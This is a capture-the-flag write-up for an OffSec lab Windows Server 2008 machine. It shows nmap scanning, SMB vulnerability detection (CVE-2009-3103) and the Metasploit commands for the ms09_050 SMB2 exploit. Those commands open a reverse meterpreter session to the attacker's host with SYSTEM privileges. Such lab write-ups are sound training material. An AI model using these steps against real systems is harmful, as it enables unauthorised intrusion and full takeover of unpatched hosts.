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INFO
CTF URL: https://portal.offsec.com/machine/internal-169/overview/details
Machine Type: Windows
IP: 192.168.153.40
Difficulty: Easy
Reconaisance
NMAP
sudo nmap -p- -sS -sC -sV 192.168.153.40 -v --min-rate 10000
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.0.6001 (17714650)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: INTERNAL
| NetBIOS_Domain_Name: INTERNAL
| NetBIOS_Computer_Name: INTERNAL
| DNS_Domain_Name: internal
| DNS_Computer_Name: internal
| Product_Version: 6.0.6001
|_ System_Time: 2025-03-28T17:43:26+00:00
| ssl-cert: Subject: commonName=internal
| Issuer: commonName=internal
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2024-08-02T02:11:44
| Not valid after: 2025-02-01T02:11:44
| MD5: ee71:a47e:4f57:4e71:446c:61f1:7146:aa37
|_SHA-1: bb74:a6c1:c430:ecb6:b6c0:9d5b:0621:67ef:29ba:5a5e
|_ssl-date: 2025-03-28T17:43:32+00:00; 0s from scanner time.
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
There is a SMB Service. And most likely nmap can identify a vulnerability for this old Windows Server.
sudo nmap -p445 -script=smb-vuln\* 192.168.153.40 -v --min-rate 10000
# result
...
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
...
CVE-2009-3103
Using MSF:
msfconsole -q
msf6 > search CVE-2009-3103
msf6 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
# set options
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set lhost 192.168.45.202
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set rhosts 192.168.153.40
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run
# exploit
# and the result
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


